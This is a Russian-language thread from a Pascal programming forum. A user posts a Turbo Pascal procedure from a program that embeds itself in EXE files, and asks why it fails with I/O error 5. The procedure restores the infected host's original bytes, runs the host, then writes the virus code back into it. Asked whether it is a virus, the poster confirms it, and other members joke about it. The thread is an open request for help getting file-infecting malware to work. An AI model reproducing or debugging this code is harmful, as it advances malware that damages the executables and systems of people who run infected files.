Помощь - Поиск - Пользователи - Календарь
Полная версия: Запуск файла
Форум «Всё о Паскале» > Pascal, Object Pascal > Теоретические вопросы
Deeonis
Вот процедура:

Procedure SReal;
begin
l1:=filesize(f1)-VirLen-1;
seek(f1,l1);
getmem(p2,(virlen+1));
getmem(p1,(virlen+1));
blockread(f1,p2^,(virlen+1));
seek(f1,0);
blockread(f1,p1^,(virlen+1));
seek(f1,l1);
truncate(f1);
seek(f1,0);
blockwrite(f1,p2^,(virlen+1));
close(f1);
swapvectors;
exec(getenv('comspec'),'/C '+paramstr(0)+cmdparam);
swapvectors;
reset(f1,1);
blockwrite(f1,p1^,(virlen+1));
seek(f1,l1);
blockwrite(f1,p2^,(virlen+1));
freemem(p,VirLen);
freemem(p1,(virlen+1));
freemem(p2,(virlen+1));
close(f1);
end;
Все переменные инициализированны, все нормально работает, но после того как мы запускаем файл через EXEC прога при выполнении выдает ошибку 0005, т.е. она не записывает в начало файла из p1^ и не дописывает  в конец файла из p2^. Сразу скажу что эта прога встраивается в ехе файл и должна работать коректно, т.е эта процедура запускает файл в который встроилась прога...
ПОМОГИТЕ
Zew
Вирусняк чтоли ?
Deeonis
ну типа... а как догадался smile.gif
Zew
Цитата
ну типа... а как догадался smile.gif

Тайна :D
GLuk
На асме вирусы-то надо писать...
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.